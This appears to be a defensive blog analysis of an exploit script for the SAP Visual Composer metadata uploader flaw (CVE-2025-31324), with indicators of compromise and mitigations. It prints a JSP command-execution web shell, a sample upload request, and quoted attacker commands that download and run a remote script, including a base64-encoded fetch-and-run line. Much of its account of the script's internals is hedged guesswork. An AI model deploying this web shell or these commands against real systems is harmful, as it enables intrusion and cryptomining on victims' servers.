Technical Analysis of SAP Exploit Script (Visual Composer “Metadata Uploader” Exploit)…

40 min read Original article ↗

Script Analysis of SHINYHUNTERS

SIMKRA

Press enter or click to view image in full size

Hint in the Script that Chinese have stolen their Zero-Day Vulnerability

Overview of the Exploit Script and Vulnerability

This script targets a critical zero-day vulnerability (now identified as CVE-2025–31324) in SAP NetWeaver’s Visual Composer Metadata Uploader component. The vulnerability is a missing authorization check on the HTTP endpoint /developmentserver/metadatauploader, allowing unauthenticated file uploads to the server’s filesystem[1][2]. By sending specially crafted HTTP POST requests to this endpoint, an attacker can upload arbitrary files (such as a malicious JSP web shell) and achieve remote code execution (RCE) under the privileges of the SAP service account (typically <sid>adm)[3][4]. The script in question automates this exploitation: it constructs and sends an HTTP POST with an embedded payload, and optionally drops a persistent shell on the SAP server. You can find the original script published by vx-underground here .

Key Points of the Vulnerability

Unauthenticated users can POST a file to the Visual Composer “metadatauploader” servlet, which then writes the file into a web-accessible directory (e.g. …/irj/servlet_jsp/irj/root/ in many SAP Portal setups)[5][6]. If the uploaded file is a JSP script or other executable code, the attacker can subsequently request that file via HTTP to execute code on the server[7]. The exploit script leverages this by uploading a web shell JSP and then (optionally) invoking it to run commands. In addition, the script appears to incorporate an OAST (out-of-band) check using a Java deserialization payload to quietly verify the vulnerability without immediately dropping a shell[8].

Below, we break down the script’s structure and functions, explain the exploitation method, highlight code patterns (such as payload encoding, web shell injection, and deserialization), identify indicators of compromise, and recommend mitigations. At the end of the summary you will find recommendation and unique attribution for Scattered Spider.

Script Functions and Structure Breakdown

The exploit script is organized into distinct functional components. Each function or code block serves a specific role in the attack sequence:

Initialization and Argument Parsing: The script begins by parsing user-supplied arguments (likely via argparse in Python). It supports targeting either a single SAP host or multiple hosts, with options to specify the protocol (HTTP/HTTPS) and port. It may accept a list of targets and a thread count for concurrent scanning/exploitation of multiple systems[8][9]. Key flags include a “check” mode (default) for safe vulnerability testing and an “exploit” mode for actual shell upload. For example, a — oast-host parameter is required for the OAST vulnerability check, and an — exploit-file parameter can be provided to upload a specific file in exploit mode[8][10]. The script likely also handles options like — threads (concurrency), — legacy-ssl (to allow older TLS versions), and — insecure (to skip SSL verification) to ensure it can connect to SAP servers even if they have outdated or self-signed certificates[9]. These options ensure the script can flexibly target many systems and remain robust against network issues.

Deserialization Payload Construction (OAST Check Mode): In its default vulnerability-check mode, the script uses a serialized Java object payload designed to trigger an out-of-band callback, confirming the system is vulnerable without dropping an obvious web shell. This is hinted by the script’s description: “Checks for vulnerability using Java Deserialization payload and OAST callback”[8]. In practice, the script likely embeds a malicious serialized object (possibly as a .dat or a specially crafted Visual Composer model file) encoded within the script (for example as a Base64 blob). A specific function decodes this blob to binary and prepares it for upload. The payload would be constructed such that, when processed by the SAP server, it forces the server to perform an action like a DNS lookup or HTTP request to the attacker’s OAST server, thereby signaling that the endpoint is exploitable. This provides a stealthy check — if the OAST platform receives the callback, the server is vulnerable. The use of a deserialization gadget suggests the SAP metadata uploader might implicitly deserialize certain file types (perhaps expecting a Java object for a model), which the script abuses with a gadget that performs a callback. This portion of code is obfuscated to hide the exploit payload: for instance, the serialized bytes might be stored as a long Base64 string in the script and decoded at runtime. Such obfuscation via Base64-encoding prevents casual observers or signature-based scanners from recognizing the exploit code in the script file. (In the provided script, one would see a large Base64 string and a decode function, strongly indicating this behavior.)

Exploit Mode — Web Shell File Upload: If the script is run in “exploit” mode (triggered by an argument like — exploit-file), it will attempt to upload a specified file (defaulting to a JSP web shell provided with the script, e.g. helper.jsp) to the target server. This is the core exploit function that achieves code execution. Internally, the script likely defines a function (e.g. upload_file(target, file_data)) that performs the following steps:

HTTP Request Assembly: It crafts an HTTP POST request to http[s]://<target>/developmentserver/metadatauploader. The request uses multipart/form-data encoding with a boundary string. The script may rely on a HTTP library (such as Python’s requests) to format the multipart request. For example, using requests.post(url, files={‘file’: (<filename>, <file_bytes>, ‘application/octet-stream’)}) automatically generates a content boundary and the necessary Content-Disposition header identifying the file field as “file”[11]. In captured exploit traffic, the Content-Type header appears as multipart/form-data; boundary=<random boundary> and the body contains a Content-Disposition: form-data; name=”file”; filename=”…jsp” line[11]. The script ensures the multipart form names the form field file (which the SAP servlet expects) and sets the filename to the desired name of the web shell on the server (e.g. “helper.jsp” or a randomized name). The raw data of the file is then included after this header.

Embedding the Payload: The payload itself in exploit mode is typically a JSP script (JavaServer Page) that functions as a web shell. If the user did not provide a custom file, the script may use a default payload (the script’s author included a file helper.jsp as a template web shell). This JSP is likely embedded or encoded within the script for convenience. Many malicious scripts include a web shell payload either in plain text or encoded form. Given the mention of “obfuscated and encoded payloads,” the helper.jsp content might be Base64-encoded in the script and decoded at runtime before transmission. Once decoded to its original JSP text, the script places it in the HTTP request body. In the example of an exploit observed in the wild, the JSP payload (named helper.jsp) was transmitted in the request body as shown below:

Content-Disposition: form-data; name=”file”; filename=”helper.jsp”
Content-Type: application/octet-stream

<%@ page import=”java.util.*,java.io.*”%>
<%
if (request.getParameter(“cmd”) != null) {
String cmd = request.getParameter(“cmd”);
Process p = Runtime.getRuntime().exec(cmd);
… // (setup IO streams)
String line = (new DataInputStream(p.getInputStream())).readLine();
while (line != null) {
out.println(line);
line = (…readLine());
}
}
%>
— <boundary> —

Excerpt: HTTP POST with JSP payload (formatted for clarity)[11][12]. This JSP code is a simple command execution shell. It checks for a URL parameter cmd and, if present, uses Runtime.getRuntime().exec(cmd) to execute the specified system command on the SAP server[12]. The output of the command is read line by line and sent back in the HTTP response (via out.println)[13]. This essentially gives the attacker a remote terminal to the server through the web browser or curl. In the script’s code, this JSP was likely stored in encoded form and decoded before being sent, to avoid having the raw exploit code visible in the script file.

Optional Shell Drop Functionality: After uploading the JSP, the script may optionally trigger the shell or drop into an interactive mode. Some exploit scripts simply upload the web shell and inform the user of its location, leaving further interaction to the user. Others might immediately attempt to call the uploaded JSP to verify execution or even to spawn a reverse shell. There is evidence in related malicious activity that attackers, after uploading, performed an HTTP GET to the shell (e.g., /irj/helper.jsp?cmd=<command>) to run commands[14]. The provided script likely does not automatically launch a reverse shell (as that usually requires specifying a listener address), but it could have a feature to send a test command (like whoami) via the JSP to confirm it’s working. In either case, the “shell drop” refers to planting the JSP backdoor on the server. The JSP then remains accessible for the attacker to use at any time, providing persistent remote access.

Concurrency and Scanning Logic: Given the threat actor’s broad targeting, the script might include logic to scan or exploit multiple hosts in parallel. A function could iterate over a list of target addresses and, using a thread pool, attempt the exploit on each. This aligns with the script’s support for a — threads option[9]. In practice, the attacker could feed a list of SAP servers (perhaps discovered via internet scanning) into the script, which then concurrently checks each for vulnerability and either just logs the result (in check mode) or uploads a shell (in exploit mode). The script likely prints or logs the outcome for each target (and possibly can output to CSV/JSON for later review, as indicated by its features[9]).

Network and Error Handling: The script is built to be robust against network issues. It supports a “legacy SSL” mode to connect to older SAP servers with outdated SSL implementations, and an — insecure flag to ignore certificate verification (since many SAP servers might use self-signed certs)[9]. It also may implement automatic retries for transient failures (e.g., retry on SSL handshake errors or timeouts). Verbose logging (-v or -vv) is provided to aid troubleshooting by printing detailed request/response information. These features suggest the script was intended for use in real-world conditions where enterprise SAP servers might have quirky network settings.

In essence, one part of the script carefully prepares an exploit payload — either a benign gadget for checking or a malicious JSP for shell access — often hiding it via encoding, and another part delivers it via an HTTP POST to the vulnerable SAP endpoint. After the upload, the attacker can gain a foothold on the system by interacting with the newly planted web shell.

Exploitation Method: Payload Delivery and Execution

The method of exploitation used by this script is an unauthorized file upload leading to code execution. Here’s how the script carries out the exploit step by step:

  1. Targeting the SAP Metadata Uploader: The script directs an HTTP POST request to the URL path /developmentserver/metadatauploader on the SAP server. This is the vulnerable endpoint that fails to enforce authentication[2][15]. The script may append query parameters like ?CONTENTTYPE=MODEL&CLIENT=1 in the request — these were observed in some exploit instances[16] — likely to mimic legitimate requests or satisfy the servlet’s expected inputs. (Those parameters suggest the uploader is intended to receive some “model” content; however, in practice they are not protected, so an attacker can ignore or include them. The script likely includes them for completeness.)
  2. Crafting the Malicious Request: The HTTP POST is formatted as a multipart/form-data request. Within the request body, the attacker’s file is included as a part named “file”. For example, a real attack request was recorded as:
POST /developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1 HTTP/1.1
Host: victim-sap.example.com
User-Agent: python-requests/2.32.3
Content-Type: multipart/form-data; boundary= — — WebKitFormBoundary…

— — — WebKitFormBoundary…
Content-Disposition: form-data; name=”file”; filename=”helper.jsp”
Content-Type: application/octet-stream

[JSP web shell content]

— — — WebKitFormBoundary… —

(Illustration of the exploit HTTP request). The script uses a Python HTTP library, which by default set the User-Agent to a string like python-requests/2.32.3[17] — indeed this was seen in logs of attacks, confirming the use of such scripting tools[17]. The presence of “python-requests” in SAP logs for this endpoint is a strong indicator of malicious use (normal SAP clients would not use this UA). The Content-Length header is computed based on the payload size. The multipart boundary can be random; some tools choose a fixed boundary or let the library generate one. For instance, an observed boundary 816121b0328c3864dc7963b2e0275e90 suggests the attacker’s tool generated a random 32-hex-character boundary[18]. (The Ionix POC script uses a simpler boundary “ — — ionix” in their examples[19], but real attacks tend to have random boundaries.)

  1. Payload Placement: The malicious payload (web shell) is included in the body following the headers. In our example, it’s a JSP file named helper.jsp. The script ensures the filename=”…” field in the Content-Disposition header matches the desired name. Some attacker scripts use randomized file names for the shell to evade simple file-name-based detection. For instance, Rapid7 reported that apart from known names like helper.jsp, most observed shell files had random 8-character names (e.g. cglswdjp.jsp, ijoatvey.jsp, etc.)[20]. It’s likely that the script can generate a random name for the uploaded file (e.g., by picking 8 random alphanumeric letters) instead of a static name. Using a random or innocuous-looking name (like 404_error.jsp or adding a dot prefix as in .webhelper.jsp) is a trick to blend in or hide on the server[21]. If the provided script specifically mentioned an “optional shell drop”, it may allow the operator to specify a name or use a default (which could be static like helper.jsp unless overridden). In any case, the file name in the request determines the name under which the file is saved on the server.
  2. Server-Side Processing: Upon receiving this request, the vulnerable SAP servlet does no authentication or file type validation[22][23]. It simply accepts the file and writes it to a predetermined directory on the SAP application server. According to SAP and security researchers, the file lands in the Visual Composer web application’s directory. On SAP Portal systems, that path is typically:
    …/irj/servlet_jsp/irj/root/<filename>[2][6]. (Full path on Windows: C:\usr\sap\<SID>\<InstID>\j2ee\cluster\apps\sap.com\irj\servlet_jsp\irj\root\helper.jsp, for example[24]. On Linux, a similar path under /usr/sap/<SID>/…/irj/root/ would be used.) In other deployments, Visual Composer might use a different context (Ionix notes an upload to visual_comp/servlet_jsp/myapp/root/ path[25]), but in observed attacks on Portal, irj/root was common. The key is that the file is placed in a web-accessible directory within the SAP Java server’s deployed applications.

Importantly, the server’s response to the upload request is not well documented in public sources — it might not explicitly confirm success. The script likely checks the HTTP status code (expecting 200 OK or possibly a 204) to infer if the upload succeeded. A failure (like 404 or 500 status) would indicate the endpoint is not present or the upload failed. In OAST check mode, success is determined by the out-of-band callback rather than the HTTP response content.

  1. Triggering Code Execution: Once the file is uploaded, the attacker can execute it by sending an HTTP GET or POST request to the file’s URL. The exploit script might not automate this step in all cases (to avoid immediately tipping off with obvious malicious behavior), but the operator can manually do it or use another function in the script to invoke the shell. For example, after uploading helper.jsp, an attacker would navigate to http[s]://<target>/irj/helper.jsp?cmd=whoami. The JSP, running on the server, will read the cmd parameter and execute the whoami command on the OS, returning the output (e.g., the user under which SAP runs) in the HTTP response[12][13]. This confirms the RCE. The script’s “shell” functionality could be as simple as printing a message like “Web shell dropped at /irj/helper.jsp” or as interactive as opening a rudimentary command prompt. Some scripts might accept a — execute-cmd “<command>” argument to automatically run a given command via the shell and print the result. Given the question, the focus is on the script’s code; so we note that any such functionality would involve the script making an additional HTTP request to the uploaded JSP. (For instance, a quick GET request to helper.jsp?cmd=echo%20SUCCESS could verify the shell is working if the response contains “SUCCESS”.)
  2. Alternate Payloads: While JSP is the most direct way to achieve code execution (since the SAP Java server will compile and run the JSP on access), the vulnerability could also accept other file types (WAR, EAR, JAR, or even OS binaries)[1]. The provided script appears geared toward JSP web shells, but it’s worth noting that an attacker could upload a compiled malicious .class or a .war file (web application) for more complex actions. In fact, the script’s OAST mode effectively uploads a serialized Java object (which could be seen as a .bin or .model file) to test the vulnerability. The mechanism is the same — the file is dropped on the server — but if the server tries to automatically deserialize or process it, it triggers the callback. Generally, though, the primary exploitation is the file upload; the post-exploitation is up to the attacker’s payload. In summary, the script reliably delivers a file to the server; what that file does can range from simple command execution to more stealthy backdoors.

Malicious Code Patterns and Obfuscation Techniques

The script and its payload exhibit several patterns characteristic of exploits, webshells, and obfuscation:

Obfuscated Payloads (Base64 Encoding): A notable pattern is the use of encoding to hide the actual malicious code within the script. Instead of containing the JSP shell in cleartext, the script likely stored it as an encoded string to avoid detection. Base64 is commonly used for this purpose. For example, the JSP code snippet shown earlier, if Base64-encoded, would appear as a long string of seemingly random characters in the script (e.g., PCVAIHBhZ2UgaW1wb3J0PSJqYXZhLnV0aWwuKixqYXZhLmlvLioiJT4K…). The script contains code to decode this string at runtime (using a function or library call) to retrieve the original JSP text before sending it in the HTTP request. This technique prevents simple signature-based detection of the script file — an analyst looking at the script without executing it would not immediately see the malicious JSP content. Only by decoding the blob (or observing the network traffic) does the payload become evident. Obfuscation may also involve trivial transformations like string concatenation or XOR encoding, but Base64 is most likely here given its common use and mention in related analysis (attackers have also used Base64 to encode commands sent to the shell, as noted below). In summary, the script deliberately hides its exploit payload in an encoded form to evade casual inspection.

Web Shell Code (Command Injection): The JSP payload code itself is a classic pattern of code injection on the server. As cited earlier, the JSP uses Runtime.getRuntime().exec() to execute OS commands[12]. This is analogous to a command injection, where the script takes attacker-controlled input (cmd parameter) and feeds it to a system shell. The pattern of reading the output with input streams and printing it back to the response is typical of web shells[13]. There is no authentication or hardcoded secret in the simplest variant (meaning anyone who knows the URL can use the shell). More advanced variants observed (like ran.jsp or usage.jsp in some incidents) included a simple password check — e.g., requiring a specific key parameter to be present — to prevent unauthorized use by others[26]. However, the helper.jsp shown in our example has no such protection and is small (only ~15 lines). This pattern of code (if-parameter-exec-output) is a strong indicator of a webshell when found on a server. The script’s role is to deliver this code to the server, but not necessarily to generate it — the code is likely pre-written by the exploit author.

Shell Upload Pattern in the Script: In the script’s code, the routine that handles file upload likely uses the requests library or http.client to perform the multipart form submission. If using requests, the pattern might be:

files = {“file”: (filename, payload_bytes, “application/octet-stream”)}
resp = requests.post(url, files=files, verify=False, timeout=… )

This snippet would automatically construct the needed headers and boundaries. The presence of the string “multipart/form-data” or “Content-Disposition: form-data” in the script could indicate this logic. If the script was more manually crafted, it might build the HTTP request body as a byte string, concatenating boundary markers and the payload. In either case, the pattern of posting a form with a file field named “file” is the key. In code, you might find references to “name=\”file\”” or similar. The exploit specifically requires that form field name; if it’s wrong, the attack would fail. (The metadata uploader servlet expects a parameter named “file” in the multipart form[11].)

Randomization and Evasion Techniques: As mentioned, one pattern for evasion is randomizing the uploaded file name (e.g., generating 8 random letters for each target). If the script does this, it will have a function to generate random strings (possibly using Python’s random.choice on a set of letters). The use of such a function or the presence of hardcoded name lists (some attackers chose names like cache.jsp, helper.jsp, usage.jsp which sound benign) could be patterns in the code. Another evasion seen is prefixing a dot to the filename (e.g., .webhelper.jsp) to make it less visible (dotfiles are hidden on Linux by default)[27]. The script might allow such naming or have it as a default in some cases. Additionally, the script may set the file extension as .jsp intentionally; an interesting nuance is that some attackers used .js extension for JSP content (like coreasp.js)[28] — likely a mistake or trick, but since the server treated it as JSP (perhaps ignoring extension or due to how it was uploaded), it still executed. We might not see that in this script, but it’s worth noting as a variation of the pattern (naming the file with a non-.jsp extension in hopes defenders overlook it, even though it ends up executed as JSP).

Use of Deserialization Gadgets: The script’s OAST mode deserialization payload is a strong sign of a more complex exploit technique. It suggests the exploit author was aware that the endpoint might accept certain serialized objects. The pattern here is that a gadget (likely from a library like Commons-Collections or a custom SAP object) is used to cause a callback. In code, this could appear as a Base64 string (for the serialized bytes) or possibly the script might dynamically generate a payload (if a library like ysoserial was integrated). However, since the script is self-contained, it probably carries a pre-generated gadget. For example, a gadget could be one that performs a DNS lookup to [attacker-oast-domain] when deserialized. The pattern of deserialization exploitation in the script is subtle: it might not be obvious without knowing what the data represents. But if the script contains two different payload blobs (one for OAST, one for JSP), that in itself is notable. The OAST payload likely does not drop a file that remains on disk; instead it could be, say, a .dat that the server reads into memory and triggers the gadget (thereby not leaving a direct file artifact aside from the uploaded blob). This is an advanced technique to check vulnerability without a persistent artifact.

Encoded Command Execution: After the shell is deployed, attackers often leverage it in ways to avoid detection. While this goes beyond the exploit script’s code, it’s relevant to mention as part of malicious patterns. Security researchers observed that once the JSP shells were live, some attackers sent Base64-encoded commands to them to hide the actual command from process monitors[29]. For instance, instead of invoking curl http://malicious/evil.sh | bash directly (which might be caught by security tools), they sent a command like bash -c “{echo,d2dldCBodHRwOi8vZXZpbC5zaH0=}|{base64,-d}|{bash,-i}” which decodes to the real command at execution time[30]. This technique of splitting and encoding in the command is a pattern attackers use once they have a shell; however, it is not necessarily part of the exploit script itself — it’s part of the follow-on commands delivered through the web shell. We mention it because if the script had any automated post-exploitation steps, it might incorporate such encoding. For example, a script could automatically instruct the webshell to download a second-stage payload in an encoded form (though typically this is done manually or via separate scripts).

Persistence Mechanisms: Another pattern is whether the script tries to establish persistence beyond the JSP. The question scope is the script’s function, so likely not — the JSP shell itself is a persistence mechanism. But some payloads observed (like coreasp.jsp described by EclecticIQ) go further by loading classes in memory and using sophisticated tricks (AES-encrypted communications, memory-only backdoors, etc.)[31]. The initial exploit script would just upload those files if the attacker chooses to use them. For example, the threat actor might have had multiple JSP files: one simple (like forwardsap.jsp, which just runs commands)[32] and one advanced (coreasp with encrypted channel)[31], both uploaded via the same script. The script itself might not distinguish content — it just sends whatever file it’s given. However, recognizing the pattern of an AES-encrypted webshell (e.g., finding a hardcoded 128-bit key in the JSP code) is important for responders. Such a key (like 693e1b581ad84b87 seen in coreasp[33]) is an indicator of a known webshell family (Behinder). The exploit script presumably doesn’t generate that, but we mention it as part of code patterns in the payload.

In summary, the exploit script’s code shows patterns of file upload abuse (multipart form injection), command injection via webshell code, and deliberate obfuscation (encoding, randomization) to evade detection. These patterns align with typical tactics for exploiting and maintaining access on enterprise applications.

Indicators of Compromise (IoCs)

Several unique artifacts and indicators can suggest that this exploit script was used against a system. These IoCs come from both the network activity of the script and the payloads left on the compromised SAP server:

Unusual HTTP POST Traffic to /developmentserver/metadatauploader: Any web server logs or network monitoring that show HTTP requests to the path /developmentserver/metadatauploader are highly suspicious, especially if they come from external sources. In a normal SAP deployment, this endpoint would rarely (if ever) be accessed by anonymous external clients. In confirmed attacks, multiple security firms saw surges of POST requests to this path in late March and April 2025[34][35]. Specifically, look for requests with no authentication cookies or SSO tickets present[36] (meaning the session is not a logged-in SAP user). SAP’s own advisory noted that any POST to this endpoint without a valid SAP session is an anomaly[36]. Additionally, the User-Agent string can be a giveaway: the default python-requests/* user agent was observed in exploit attempts[17]. If an attacker customized their script, the UA might differ, but generic tool UAs or missing Accept headers can stand out. Indicator: log entries like:


…[IP] — — “POST /developmentserver/metadatauploader HTTP/1.1” 200 — “-” “python-requests/2.XX”…

Multipart Form in Request Body: Related to the above, if you have deeper packet logs, the presence of a multipart form with filename=”*.jsp” in the body is a clear indicator. Legitimate uses of the metadatauploader (if any) might involve different file types (perhaps XML or model files, not JSP). So a JSP upload attempt is inherently malicious. ProjectDiscovery released detection rules (Nuclei templates) that specifically check for the ability to upload and even identify a known JSP webshell file on the server[37]. These can be used to test if an instance was compromised by looking for known patterns in HTTP responses or accessible JSPs.

Unexpected JSP or Java files on the server: The clearest IoC on the host is the presence of unfamiliar files in the Visual Composer directories. Administrators should check the file system paths used by Visual Composer. Common directories (for SAP Portal installations) include:
…/irj/servlet_jsp/irj/root/ (the root of the Portal application’s JSP pages)[6],
…/irj/servlet_jsp/irj/work/ and …/irj/servlet_jsp/irj/work/sync/ (working directories where JSPs are compiled or cached)[24].
Any .jsp, .java, or .class files in these directories that were not installed by SAP updates could be malicious[38]. In particular, look for:

Filenames like helper.jsp, cache.jsp, usage.jsp, forwardsap.jsp, coresap.jsp, or variants of these[39]. These names have appeared in multiple reports of this exploit. “Helper” and “cache” were likely chosen to blend in (cache.jsp could be mistaken for a legitimate cache page). “Usage.jsp” might be a renamed copy of helper.jsp in some cases[40].

Filenames with random 6–10 character combinations (e.g., tgmzqnty.jsp, ylgxcsem.jsp)[20]. Attackers using automated scripts at scale often generate a new name per target. If you find oddly named JSPs that you don’t recognize, treat them as suspect.

Hidden or disguised names: e.g., a leading dot (.webhelper.jsp)[41] which might not be immediately visible in directory listings, or a name like 404_error.jsp which is meant to look benign[21].

Visual Composer’s legitimate files might have technical names or be packaged in WARs — any loose JSP file sitting in these folders, especially one with recent timestamps, is a red flag.

In incident response cases, SHA-256 hashes of known malicious files have been recorded. For example, one helper.jsp sample had hash

 1f72bd2643995fab4ecf7150b6367fa1b3fab17afd2abed30a98f075e4913087

[42] and a cache.jsp sample hash

 794cb0a92f51e1387a6b316b8b5ff83d33a51ecf9bf7cc8e88a619ecb64f1dcf

[43]. If you cannot readily hash files on the server, even just searching for the presence of the string Runtime.getRuntime().exec inside .jsp files can quickly pick up these webshells, since that API call is rarely used in SAP’s normal JSPs.

Signs of Execution of the Web Shell: Once the JSP is on the server, attackers will start using it. This can leave traces in various logs:

· The SAP NetWeaver access log may show GET/POST requests to unusual JSPs under the /irj/ path. E.g., requests to /irj/helper.jsp or /irj/<random>.jsp. Particularly, query parameters like ?cmd= or other odd parameter names (some shells use param like cmdhghgghhdd as seen in forwardsap.jsp[44]) in those requests are indicators. Onapsis observed attackers issuing requests like

GET /irj/helper.jsp?cmd=curl%20-o%20/tmp/8bq.sh%20http://23.95.123[.]5:666/xmrigCCall/8bq.sh

to download a script, followed by

GET /irj/helper.jsp?cmd=chmod%20777%20/tmp/8bq.sh and GET /irj/helper.jsp?cmd=/tmp/8bq.sh

to run a cryptominer installer, and even a cleanup GET /irj/helper.jsp?cmd=rm%20/f%20/tmp/8bq.sh[14]. Each of these entries shows the usage of the webshell to execute OS commands. If such patterns (especially multiple cmd= with typical Linux commands) appear in logs, it’s a clear indicator the system was compromised via this vulnerability.

OS process logs or monitoring might show the SAP Java process spawning shell subprocesses (like cmd.exe on Windows or /bin/sh on Linux). A webshell execution will run as the SAP service account. For instance, if you see processes owned by <sid>adm (on Unix) running unexpected commands (netstat, ifconfig, whoami, curl, wget, etc.), that’s a sign those commands were invoked via a webshell[45]. Red Canary suggests detecting bash processes that use the -c {echo,…}|{base64,-d}|{bash,-i} pattern[46][47], or generally any base64 decoding usage in a shell, as that often signals an attacker trying to hide their command.

If command logging is enabled, you might capture the exact commands attackers run. Common post-exploit recon commands have included: viewing host files (cat /etc/hosts, /etc/passwd), network info (ifconfig, netstat -an), process and user info (ps -ef, whoami, id), and environment checks (uname -a, hostname)[45]. These by themselves aren’t proof of how they were run, but if seen in conjunction with the IoCs above, they likely came from the webshell.

External Communication from the SAP Server: The presence of a webshell often leads to outbound traffic from the server (for downloading second-stage tools or establishing backdoors). If you monitor egress traffic, IoCs include:

Connections to cloud storage or known malicious hosts as seen in Red Canary’s report: e.g., AWS S3 buckets brandnav-cms-storage[.]s3.amazonaws.com and abode-dashboard-media[.]s3.ap-south-1.amazonaws.com (used to host malware)[48], a Cloudflare Tunnel domain overseas-recognized-athens-oakland.trycloudflare.com (used to fetch a malicious script via v2.js)[49], an Alibaba Cloud OSS domain ocr-freespace.oss-cn-beijing.aliyuncs.com (hosting a config.sh)[50], and other IPs like 23.95.123[.]5:666 (hosting a cryptominer script)[51]. These were all associated with post-exploitation activity of CVE-2025–31324. Any unusual outbound HTTP/HTTPS from an SAP server could indicate the webshell was used to download tools.

DNS queries for weird hostnames (if using OAST, the initial deserialization payload might cause the server to do a DNS lookup to a domain like <random>.<attacker-oast>.burpcollaborator.net). If you have egress DNS logs, a lookup to an unfamiliar domain at the time of the metadatauploader request could confirm the OAST test was triggered.

Artifacts on Disk: Aside from JSP files, check for any .war or .jar files with suspicious names or timestamps around the attack time. The vulnerability allows WAR deployment (which could persist even after a reboot if not removed). Attackers might also drop tools like scanners or payload droppers on disk via the shell (for example, one might find a compiled reverse shell binary or a script like 8bq.sh in /tmp, as seen above). These are secondary IoCs but important if the attackers moved further.

Network: POST to /metadatauploader (especially unauthenticated)[36]; GET/POST to odd JSPs under /irj/[6]; attacker’s infrastructure domains in outbound traffic[52][53].

Files: Unexpected JSP/WAR in SAP web directories (e.g., helper.jsp, random-named JSPs)[20][39]; any content in those JSPs containing exec calls.

Processes: SAP Java process launching system commands; base64 or crypto miner processes; abnormal network utility usage by SAP process.

Credentials: Though not directly asked, note that if SAP user accounts suddenly show in logs doing actions they normally wouldn’t, it could indicate the attacker pivoted further — but the initial exploit is unauthenticated, which is key.

Mitigation and Detection Strategies

Preventing and detecting the use of this exploit script involves both applying patches and implementing compensating controls and monitoring. Here are the key mitigation steps:

  1. Apply the SAP Patch (Security Note 3594142) — SAP released an out-of-band patch on April 24, 2025, addressing this vulnerability[54]. Installing the patched version of the Visual Composer (VCFRAMEWORK 7.50) or the provided security fix will close the unauthorized upload hole. This is the most direct way to prevent exploitation. All SAP NetWeaver versions 7.x with Visual Composer are affected and should be updated immediately, outside of normal patch cycles[55]. (Be aware that patching will not remove any webshells or malware already dropped on the system; those must be found and removed separately.)
  2. Isolate or Disable the Vulnerable Component — If you cannot patch promptly, consider disabling the Visual Composer “Development Server” or at least blocking access to the metadata uploader endpoint:

3. Network-Level Blocking: Use a WAF, reverse proxy, or firewall to block external access to /developmentserver/ paths entirely[56]. In most cases, this developer-oriented function does not need to be exposed to the internet. At minimum, restrict it to trusted internal networks or specific IPs. Many attacks occurred on internet-facing SAP systems; cutting off that access greatly reduces risk.

4. Remove/Disable Visual Composer: If Visual Composer is not actively used, uninstall or deactivate it[56]. SAP’s guidance suggests checking if the component is installed via system info; if not needed, taking it out eliminates the vulnerable endpoint[57]. In some cases, simply undeploying the Visual Composer application from the SAP NetWeaver server may be possible as a temporary mitigation (SAP support can advise on this).

  1. Authentication as Mitigation: If neither patching nor removal is possible, another approach could be to enforce authentication at the web server level for the /developmentserver/metadatauploader URL. For example, require an SAP login or an IP allowlist for that endpoint (though this might be non-trivial without the patch, it could be done via a web dispatcher or proxy rule).
  2. Web Application Hardening: Implement strict checks on any upload functionality in your environment. While this particular endpoint is hard-coded and normally not user-facing, as a general measure ensure that all file upload endpoints validate file types and enforce authentication/authorization[58]. For instance, Visual Composer’s endpoint should ideally only accept certain file types (if it’s meant for model files) and only from authorized users. In absence of a vendor fix, a custom rule on the proxy to drop requests with filename=.*\.jsp or other executable extensions could help, though it’s a whack-a-mole approach. The patch is the real fix.
  3. Detect and Respond to Past Exploitation: Given that this was exploited as a zero-day, it’s critical to hunt for signs that someone might have used this script before patching. Steps include:

8. File System Scan: Immediately search the known directories (irj/root, irj/work, etc.) for any unexpected files[59]. Remove any malicious JSPs or other droppers found, but be careful to preserve copies for analysis. Also inspect subdirectories (attackers might bury shells in subfolders if writable).

9. Log Review: Go through HTTP access logs for any requests to /metadatauploader (successful or not)[36]. Also review logs for access to unusual JSPs as detailed in IoCs. This can help identify the timeframe of compromise and the commands run (if query strings are logged). Look back several months (reports indicate exploitation in the wild at least since late March 2025[60], and even suspicious scans in January 2025[61]).

10. Outgoing Connections: Check firewall logs or proxy logs from the SAP server network for connections to known C2 or download sites around those times[62]. If found, that confirms secondary payloads were executed — you’ll need to eradicate those (malware, miners, etc.) as well.

11. System Processes and Tasks: On the SAP host, inspect processes and scheduled tasks. Attackers might have created scheduled jobs or services (for persistence) using the access from the shell. Look for any new cron jobs, Windows scheduled tasks, or unusual services installed around the compromise date.

  1. Use IoC Scanners: Tools have been released to automate some of this hunting. For example, Onapsis (with Mandiant) published an open-source scanner that can detect vulnerable systems and known IoC artifacts of this exploit[63]. ProjectDiscovery’s Nuclei templates (two of them) can check for the vulnerability and the presence of the common JSP webshell on a server[37]. These can be leveraged to quickly assess large environments for compromise signs.
  2. Ongoing Monitoring and Endpoint Security: Strengthen monitoring on SAP systems since they are now confirmed targets:

14. EDR/XDR on SAP hosts: Ensure that endpoint detection is deployed on the SAP application servers (while keeping in mind performance). Create alerts for the SAP Java process spawning command interpreters or network tools[64]. For instance, a rule like “if process = jlaunch.exe (SAP Java) spawns cmd.exe or powershell.exe, alert” or the Linux equivalent for /usr/sap/…/j2ee process spawning /bin/sh or /usr/bin/curl. The behaviors observed (reading /etc/passwd, using wget/curl, executing coin miners) should all be anomalous for an SAP process — good EDR rules can catch these.

Get SIMKRA’s stories in your inbox

Join Medium for free to get updates from this writer.

15. Network Segmentation: Treat the SAP environment as high-security. Visual Composer systems should not be directly reachable from the internet if possible[65]. Place them behind VPNs or at least restrict source IP ranges. Also, the SAP server should have limited outbound internet access — if it doesn’t need to reach arbitrary hosts, then any such traffic could be blocked or at least alerted on. This could prevent attackers from easily pulling in tools or exfiltrating data.

  1. Web Application Firewall (WAF) rules: Deploy WAF rules that specifically watch for multipart/form-data requests with file uploads to unusual endpoints like this. Even generic rules that flag uploads of files with extensions .jsp, .war to any URL could catch this (since in normal business usage, uploading JSPs to a server at runtime is not standard). Given the emergency nature of this vuln, some security vendors provided virtual patch rules — check if your WAF vendor released a signature for CVE-2025–31324.
  2. User Awareness and Service Monitoring: Ensure your SAP administrators are aware of this threat. They should be on the lookout for any issues (e.g., a slower system due to a miner running, unexplained system accounts, etc.). Also, monitor the SAP application logs for any unusual errors that could indicate someone poking at internals.

